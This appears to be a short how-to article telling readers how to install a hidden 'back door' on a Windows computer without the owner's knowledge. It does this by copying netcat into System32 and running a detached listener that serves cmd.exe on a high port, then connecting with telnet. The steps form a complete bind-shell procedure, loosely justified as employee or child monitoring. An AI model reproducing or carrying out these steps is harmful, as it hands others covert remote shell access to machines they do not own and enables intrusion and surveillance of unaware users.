A "back door" into acomputer is a hidden way of accessing the computer without the owner'sknowledge.
While this type of activity is by and large frowned upon, there aresituations where you may legitimately need to install a back door on a computer,such as at a workplace (to monitor employees) or at home (to ensure your children are safe online).
Before you create a back door, make sureyou have the authority and legal standing to do so.
ThingsYou'll Need:
- Internet access
- Temporary access to target computer
- IP address of the target computer
- Step 1
DownloadNetcat for Windows, a port of the popular Unix program that allows you to readand write information across TCP protocols. This program is free andopen-source, so you don't have to pay anyone to use it and you can examine thesource code for the program if you wish to do so.
- Step 2
Unzip theprogram using the Windows Unzip utility to any folder you wish. Unzipping it tothe Desktop into a folder called "netcat" will be easy to remember.
- Step 3
Take the"nc.exe" program and copy it onto the target computer that you wantto install a back door to. Make sure to put the nc.exe program into the
C:\Windows\System32
directory on the target machine.
- Step 4
Open acommand prompt by choosing the "Start" button, clicking"Run" then typing "cmd" and hitting the "Enter"key. Use the "cd" command to navigate to the folder where you placedthe nc.exe program. The command to do this would be the following:
cdc:\windows\system32
- Step 5
Type thefollowing into the command prompt:
nc -d -L -e cmd.exe -p XXX
where "XXX" is the port number you wish to connect through. Choosesomething high, such as port 10000 or higher.
- Step 6
On your machine,open a command prompt and type the following command:
telnet X.X.X.XXXX
where "X.X.X.X" is the IP address of the target computerand "XXX" is the port of the target computer that you opened earlier.
This command opens a data link between the two computers, through which you canexplore files, run commands and perform other actions.
